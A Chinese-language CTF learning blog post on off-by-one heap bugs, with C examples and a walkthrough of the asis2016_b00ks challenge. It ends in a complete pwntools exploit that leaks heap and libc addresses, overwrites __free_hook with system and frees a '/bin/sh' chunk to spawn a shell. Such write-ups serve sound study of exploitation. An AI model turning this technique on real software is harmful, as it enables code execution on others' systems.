堆中的off-by-one

pwn学到现在,觉得堆这一部分学的还不是很好,复习一下吧,再打打基础,别社我就行。

简介

off-by-one通俗易懂就是溢出一个字节,对边界检查的不够仔细,在pwn题中比较常见,一般在堆中出现的最多。

形成原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>
int Input(char *ptr,int size){
int i;
for(i = 0; i <= size; i++){
ptr[i] = getchar();
}
return i;
}
int main(int argc, char **argv){
char *chunk1,*chunk2;
chunk1 = (char *)malloc(16);
chunk2 = (char *)malloc(16);
puts("Get Input:");
Input(chunk1, 16);
return 0;
}

可以看出第5行的for的判断出现了溢出,溢出一个字节i = 0; i <=size 而size为16,一共循环了17次,超出了原本想循环的16次,导致了chunk1溢出了一个字节,这就是off-by-one

字符串长度判断错误也会出现溢出,最典型的是strcpy和strlen

C 库函数 size_t strlen(const char *str) 计算字符串 str 的长度,直到空结束字符,但不包括空结束字符

C 库函数 char *strcpy(char *dest, const char *src)src 所指向的字符串复制到 dest。需要注意的是如果目标数组 dest 不够大,而源字符串的长度又太长,可能会造成缓冲溢出的情况。

字符串检测到\x00时会停止录入,当strcpy进行拷贝时,会将\x00存入到堆中,就会将低字节覆盖成\x00,溢出一个字节

ctf的pwn题中以下的情况也是很常见的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>

int main(int argc, char **argv){
int a[16] = {0};
int i = 0;
for(i = 0; i < 15; i++){
a[i] = 1;
}
a[i] = 2;
for(i = 0; i < 16; ++i){
printf("a[%d] = %d\n", i, a[i]);
}

return 0;
}

第9行里面加了一个a[i] = 2将最后一个给覆盖成了2,理解一下吧,忘记有关题型被我放到哪里了。有些pwn堆题off-by-one中,全部输入完成之后最后确出现了heap[i] = 0这种情况,溢出一个字节

实战

off-by-one中有很多典型题目,以asis2016_b00ks为例学习一下,有什么不对的地方欢迎指正。

直接查看保护

Full RELRO看到这个直接想到修改hook

直接拖到IDA

直接开始分析

creat

这个功能so easy,输入四个内容:书名大小、书名、书类型大小、书类型

直接开始创建exp的自动化creat函数

1
2
3
4
5
6
def creat(name_size,name,content_size,content):
r.sendlineafter('> ','1')
r.sendlineafter('size: ',str(name_size))
r.sendlineafter('chars): ',name)
r.sendlineafter('size: ',str(content_size))
r.sendlineafter('tion: ',content)

delete

这个功能一看很遗憾,没有UAF。free之后的指针给清0了直接开始创建delete自动化函数

1
2
3
def delete(index):
r.sendlineafter('> ','2')
r.sendlineafter('delete: ',str(index))

edit

这个功能没什么好看的,也没有什么漏洞,直接上自动化函数

1
2
3
4
def edit(index,content):
r.sendlineafter('> ','3')
r.sendlineafter('edit: ',str(index))
r.sendlineafter('ption: ',content)

show

这个功能很好啊,可以直接泄漏。(一些没有show函数,有沙盒的pwn题比这些有show的难多了

直接自动化函数

1
2
def show():
r.sendlineafter('> ','4')

change_author

在IDA里面一看

off_202018存放的是作者名,跟进off_202018,就可以发现在上8个字节里是off_202010(存入书的结构体)

这个sub_9F5函数很独特一眼就看见了,直接跟进。这不就是上面说的输入完成之后的heap[i] = 0?有关题型原来就是这个

因为202018与202010联系在一起,那么写32个字符,最后的\x00会溢出到202010的第一个字节

第17行的off-by-one很明显

上函数

1
2
3
def change(author_name):
r.sendlineafter('> ','5')
r.sendlineafter('name: ',author_name)

漏洞利用思路

第一次创建作者或者修改作者名字时,如果填写32个字节的任意字符串,会导致\x00溢出到202018的低位,printf输出时会带着低位一起输出,借此输出book1_addr,book2_name,计算出libc_base,修改free_hook为gadget从而getshell

exp编写

第一次创建作者填满32个字节,进行一次off-by-one,之所以+’b’是为了能够更好的获取addr,下图中的红色圈为第33次写入的\x00

1
r.sendlineafter('name: ','a'*0x1f+'b')

这时我们创建图书,下面红色线为图书结构体

1
creat(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')

这个时候可以show一下,因为之前溢出的\x00被覆盖成30,printf打印时会输出\x00,此时就会输出book1的结构体地址

1
show()

可以看到author的后面输出了book1的结构地址,直接接收

1
2
3
r.recvuntil('aaaab')
book1_addr = u64(r.recv(6).ljust(8,b'\x00'))
success('book1_addr = ' + hex(book1_addr))


book1_addr被获取到了,接下来直接开始获取libc_base,创建book2,name大小为0x80,为之后的unstroted bin做准备,再创建一个book3

1
2
creat(0x80,'cccccccc',0x60,'dddddddd')
creat(0x10,'eeeeeeee',0x10,'ffffffff')

接下来释放book2形成unstorted bin,并且修改book1的name,content,然后更改作者名,将book1的低地址覆盖成\x00

1
2
3
4
5
delete(2)
p1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x30 + 0x90 + 0xe0 + 0x10) + p64(0x20)

edit(1, p1)
change('a' * 0x20)

让book1_name合法的指向unstorted bin的main_arena+88

直接show一下,就可以看到book1的name已经变成了main_arena+88,直接接收并计算libc_base

1
2
3
4
show()

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
success('libc_base = ' + hex(libc_base))

libc_base出来之后,system bin_sh都不是事


修改free_hook为system

1
2
edit(1, p64(free_hook) + p64(0x8))
edit(3, p64(system))

最后创建binsh堆块,因为free_hook变成了system,释放bin_sh的堆块会成功执行system(‘/bin/sh’);

1
2
3
creat(0x100, '/bin/sh\x00', 0x100, '/bin/sh\x00')

delete(4)

直接python3 exp.py打的本地,远程99.99%的打的通,远程打不通那就是天意

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

context.log_level = 'debug'

debug = 0
if debug:
r = remote()
else:
r = process('./xuxu')

elf = ELF('./xuxu')

libc = ELF('./2.23/libc-2.23.so')

def creat(name_size,name,content_size,content):
r.sendlineafter('> ','1')
r.sendlineafter('size: ',str(name_size))
r.sendlineafter('chars): ',name)
r.sendlineafter('size: ',str(content_size))
r.sendlineafter('tion: ',content)

def delete(index):
r.sendlineafter('> ','2')
r.sendlineafter('delete: ',str(index))

def edit(index,content):
r.sendlineafter('> ','3')
r.sendlineafter('edit: ',str(index))
r.sendlineafter('ption: ',content)

def show():
r.sendlineafter('> ','4')

def change(author_name):
r.sendlineafter('> ','5')
r.sendlineafter('name: ',author_name)

def dbg():
gdb.attach(r)


r.sendlineafter('name: ', 'a' * 0x1f + 'b')
creat(0xd0, 'aaaaaaa', 0x20, 'bbbbbbbb')

show()

r.recvuntil('aaaab')
book1_addr = u64(r.recv(6).ljust(8,b'\x00'))
success('book1_addr = ' + hex(book1_addr))

creat(0x80,'cccccccc',0x60,'dddddddd')
creat(0x10,'eeeeeeee',0x10,'ffffffff')

delete(2)
p1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x30 + 0x90 + 0xe0 + 0x10) + p64(0x20)

edit(1, p1)

change('a' * 0x20)

show()

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
success('libc_base = ' + hex(libc_base))


free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

edit(1, p64(free_hook) + p64(0x8))
edit(3, p64(system))

creat(0x100, '/bin/sh\x00', 0x100, '/bin/sh\x00')

delete(4)


r.interactive()